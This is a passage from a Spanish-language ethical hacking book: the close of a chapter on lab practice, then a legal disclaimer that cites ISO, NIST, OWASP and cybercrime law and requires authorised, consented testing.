Con este capítulo, el lector queda listo para **practicar todo el flujo de hacking ético de forma segura**, con capacidad de crear, destruir y reconstruir escenarios cuantas veces quiera, llevando el aprendizaje a un nivel profesional.

---

### Disclaimer / Aviso Legal Internacional

**Aviso Legal Importante:** Este libro está destinado exclusivamente a fines educativos, de formación profesional y concientización en materia de ciberseguridad, hacking ético y pruebas de penetración autorizadas. El lector asume la total responsabilidad por el uso que haga de la información aquí contenida. **Bajo ninguna circunstancia se deberá utilizar el conocimiento adquirido para acceder, interceptar, alterar, destruir o manipular sistemas, redes, datos o comunicaciones sin la autorización expresa y documentada del propietario o administrador de dichos recursos.**

El autor, editor y cualquier colaborador de esta obra **no se responsabilizan** por daños, perjuicios, pérdidas de datos, interrupción de servicios o cualquier consecuencia derivada del uso indebido del material.

Este libro **no promueve ni justifica actividades ilegales**. Cualquier acción que infrinja leyes locales, nacionales o internacionales es **responsabilidad exclusiva del lector**.

**Normas y marcos internacionales de referencia** El contenido de esta obra se alinea con principios éticos y marcos regulatorios ampliamente reconocidos, incluyendo, pero no limitándose a:

- **ISO/IEC 27001 y 27002** (Gestión y controles de seguridad de la información).
- **ISO/IEC 27035** (Gestión de incidentes de seguridad).
- **NIST Cybersecurity Framework** (CSF) y **NIST SP 800-53**.
- **OWASP Testing Guide** y **OWASP Top Ten**.
- **SANS Pentest Framework** y **SANS Incident Handler's Handbook**.
- **General Data Protection Regulation** (GDPR - Unión Europea).
- **Digital Millennium Copyright Act** (DMCA - Estados Unidos).
- **Computer Misuse Act** (Reino Unido).

- **Convention on Cybercrime** del Consejo de Europa (Convenio de Budapest).
- Legislaciones locales aplicables en la jurisdicción del lector.

**Obligación ética del lector:**

- Obtener siempre **consentimiento documentado** antes de realizar pruebas de penetración.
- Respetar la **privacidad y la confidencialidad** de los datos.
- Cumplir con las leyes vigentes en su país y en la jurisdicción donde se realicen las pruebas.
- Utilizar el conocimiento adquirido para **mejorar la seguridad** y no para vulnerarla.

**Al continuar la lectura de este libro, el lector declara que comprende y acepta plenamente este aviso legal.**

---

Autor: **Alejandro G Vera**